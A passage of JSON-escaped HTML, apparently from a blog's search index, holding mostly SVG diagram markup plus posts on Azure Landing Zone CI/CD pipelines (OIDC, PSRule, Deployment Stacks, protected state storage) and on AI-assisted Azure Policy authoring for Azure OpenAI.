style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eBy using \u003cstrong\u003ePrivate Endpoints\u003c/strong\u003e and \u003cstrong\u003eRBAC-only access\u003c/strong\u003e (disabling storage account keys), you ensure that only your authorized CI/CD runners can read or write the state.\u003c/p\u003e\n\u003ch2 id=\"5-bicep-deployment-stacks-the-native-way\"\u003e5. Bicep Deployment Stacks: The Native Way\u003c/h2\u003e\n\u003cp\u003eFor Bicep users, \u003cstrong\u003eDeployment Stacks\u003c/strong\u003e (GA in 2025) provide the state management and \u0026ldquo;Action on Unmanage\u0026rdquo; features previously only found in Terraform.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz stack mg create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --name \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;lz-management-layer\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --management-group-id \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;mg-platform\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --deny-settings-mode \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;denyDelete\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --action-on-unmanage \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;deleteResources\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e--deny-settings-mode denyDelete\u003c/code\u003e flag acts as a native resource lock, preventing anyone (including owners) from manually deleting resources managed by the stack.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePeer Review is Mandatory:\u003c/strong\u003e Use PR-driven workflows to ensure every platform change has a second pair of eyes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGo Secret-less:\u003c/strong\u003e Use OIDC for all automation identities. Treat static client secrets as technical debt.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eValidate early:\u003c/strong\u003e Use PSRule to catch WAF violations in the pipeline rather than the portal.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eProtect the State:\u003c/strong\u003e Isolate your state storage using Private Link and RBAC to prevent tampering.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-costs/\"\u003eCost Governance in the Landing Zone: Tagging Enforcement, Budgets, and FinOps Automation\u003c/a\u003e to add cost estimation (Infracost) to your PR comments.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-ops/\"\u003eDay-2 Operations: Maintaining and Evolving Your Azure Landing Zone\u003c/a\u003e to implement automated drift detection using these same pipelines.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect\"\u003eGitHub Docs: About security hardening with OpenID Connect\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/PSRule.Rules.Azure/\"\u003ePSRule for Azure: WAF Compliance Testing\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/deployment-stacks\"\u003eMicrosoft Learn: Azure Deployment Stacks Overview\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/specs/shared/pipeline/\"\u003eAzure Verified Modules: CI/CD Standards\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Build a production-grade CI/CD pipeline for your Azure Landing Zone. Learn to implement OIDC authentication, automated testing with PSRule, and PR-driven workflows.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-cicd/","title":"CI/CD Pipeline for Your Landing Zone: Deploying Azure Verified Modules with GitHub Actions"},{"content":"\u003cp\u003eYou need to write a custom Azure Policy that denies any Azure OpenAI resource without a private endpoint. Simple enough requirement. An hour later, you\u0026rsquo;re still hunting for the right resource provider alias, your JSON nesting is wrong, and the policy ARM rejects on every test run. Azure Policy authoring is a legitimate skill, and the schema is not forgiving. Azure OpenAI can produce a production-ready draft in 30 seconds. That\u0026rsquo;s not a replacement for understanding what the policy does—it\u0026rsquo;s a reason to stop wasting time on syntax archaeology.\u003c/p\u003e\n\u003cp\u003eAzure Policy is the enforcement layer for the entire Privacy-First Blueprint built across this series. Every control—Private Link, Managed Identity, and Zero Data Retention—needs a corresponding policy to prevent configuration drift. In 2026, we are moving toward \u003cstrong\u003e\u0026ldquo;Agentic Governance,\u0026rdquo;\u003c/strong\u003e where AI agents shift compliance left, auditing Bicep and Terraform templates for gaps before they ever reach the Azure Resource Manager (ARM).\u003c/p\u003e\n\u003ch2 id=\"1-ai-assisted-azure-policy-authoring\"\u003e1. AI-Assisted Azure Policy Authoring\u003c/h2\u003e\n\u003cp\u003eAuthoring a policy definition requires the correct \u003cstrong\u003ePolicy Alias\u003c/strong\u003e. To disable public access to Azure OpenAI, for example, you must target the \u003ccode\u003eMicrosoft.CognitiveServices/accounts/publicNetworkAccess\u003c/code\u003e alias. AI models trained on Azure documentation are good at this specific mapping—better than a grep through the ARM provider reference.\u003c/p\u003e\n\u003ch3 id=\"few-shot-policy-drafting\"\u003eFew-Shot Policy Drafting\u003c/h3\u003e\n\u003cp\u003eFor the highest accuracy from Azure OpenAI, use a \u003cstrong\u003eFew-Shot Prompt\u003c/strong\u003e. Provide the model with correct examples of different policy effects (e.g., \u003ccode\u003eAudit\u003c/code\u003e, \u003ccode\u003eDeny\u003c/code\u003e, \u003ccode\u003eModify\u003c/code\u003e) to establish the structural baseline.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Example: Prompt for GPT-4o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026#34;Requirement: Deny any Azure OpenAI resource that does not have its public network access set to \u0026#39;Disabled\u0026#39;. \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTarget Alias: Microsoft.CognitiveServices/accounts/publicNetworkAccess. \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUse \u0026#39;Indexed\u0026#39; mode and include parameters for the allowed effect.\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"2-the-policy-as-code-pipeline\"\u003e2. The Policy-as-Code Pipeline\u003c/h2\u003e\n\u003cp\u003ePolicies should be managed with the same rigor as application code. A \u003cstrong\u003ePolicy-as-Code\u003c/strong\u003e repository ensures that every change is versioned, peer-reviewed, and tested before being applied at the Management Group level.\u003c/p\u003e\n\u003ch3 id=\"the-policy-as-code-cicd-loop\"\u003eThe Policy-as-Code CI/CD Loop\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 728 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 112,64 L 360,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,128 L 616,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,176 L 424,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,176 L 616,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,224 L 360,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,288 L 616,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,24 L 104,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,64 L 104,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,224 L 104,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,40 L 360,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,200 L 360,216' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,24 L 368,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,64 L 368,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,128 L 368,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,176 L 368,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,224 L 368,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,280 L 368,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,40 L 616,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,200 L 616,216' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,24 L 624,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,64 L 624,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,224 L 624,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='368.000000,64.000000 356.000000,58.400002 356.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 360.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='368.000000,224.000000 356.000000,218.399994 356.000000,229.600006' fill='currentColor' transform='rotate(0.000000, 360.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='624.000000,128.000000 612.000000,122.400002 612.000000,133.600006' fill='currentColor' transform='rotate(0.000000, 616.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='624.000000,176.000000 612.000000,170.399994 612.000000,181.600006' fill='currentColor' transform='rotate(0.000000, 616.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='624.000000,288.000000 612.000000,282.399994 612.000000,293.600006' fill='currentColor' transform='rotate(0.000000, 616.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003e*\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='164' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='276' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='276' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='260' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='276' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='164' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='260' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' 